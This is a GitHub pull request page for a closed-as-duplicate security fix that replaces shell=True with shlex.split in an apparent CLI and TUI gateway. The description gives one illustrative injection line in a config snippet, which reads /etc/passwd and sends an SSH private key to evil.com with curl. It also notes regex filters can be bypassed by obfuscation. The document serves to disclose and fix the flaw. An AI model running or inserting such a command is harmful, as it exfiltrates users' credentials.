Skip to content

fix: prevent command injection in quick commands and shell.exec - #20333

Closed
0z1-ghb wants to merge 7 commits into
NousResearch:mainfrom
0z1-ghb:fix/command-injection-quick-commands
Closed

fix: prevent command injection in quick commands and shell.exec#20333
0z1-ghb wants to merge 7 commits into
NousResearch:mainfrom
0z1-ghb:fix/command-injection-quick-commands

Conversation

@0z1-ghb

@0z1-ghb 0z1-ghb commented May 5, 2026

Copy link
Copy Markdown
Contributor

Summary

Replaces shell=True with shell=False + shlex.split() in three locations:

  • cli.py — quick command execution
  • tui_gateway/server.py — quick command execution
  • tui_gateway/server.pyshell.exec JSON-RPC method

Security Impact

Using shell=True allows shell metacharacter injection. If an attacker can write to config.yaml (via file_write tool, malicious skill/plugin, or config injection), they can execute arbitrary commands:

quick_commands:
  check:
    type: exec
    command: "ls; cat /etc/passwd; curl http://evil.com/exfil -d @~/.ssh/id_rsa"


The shell.exec endpoint in the TUI gateway also accepts arbitrary command strings. While detect_dangerous_command() provides regex-based filtering, it can be bypassed with obfuscation (base64 encoding, variable expansion, etc.).

Breaking Change
Commands using shell features (&&, ||, |, ;, $(), backticks, redirects) will no longer work. Users must:

Before:

quick_commands:
  build:
    type: exec
    command: "cd /app && npm run build && echo done"

After:

quick_commands:
  build:
    type: exec
    command: "bash -c 'cd /app && npm run build && echo done'"

Or use a script file instead.

Files Changed

cli.py: Quick command execution
tui_gateway/server.py: Quick command execution + shell.exec method

@alt-glitch alt-glitch added type/security Security vulnerability or hardening P1 High — major feature broken, no workaround comp/cli CLI entry point, hermes_cli/, setup wizard comp/tui Terminal UI (ui-tui/ + tui_gateway/) labels May 5, 2026
@alt-glitch

Copy link
Copy Markdown
Collaborator

Duplicate of #10698 — same shell=True→shlex.split fix in cli.py and tui_gateway/server.py. Also overlaps with #5381 (cli.py portion) and addresses issue #16560.

@0z1-ghb

0z1-ghb commented May 5, 2026

Copy link
Copy Markdown
Contributor Author

Thanks for the heads up. I see #10698 covers the same fix. I'll close this to avoid duplication

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

comp/cli CLI entry point, hermes_cli/, setup wizard comp/tui Terminal UI (ui-tui/ + tui_gateway/) P1 High — major feature broken, no workaround type/security Security vulnerability or hardening

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants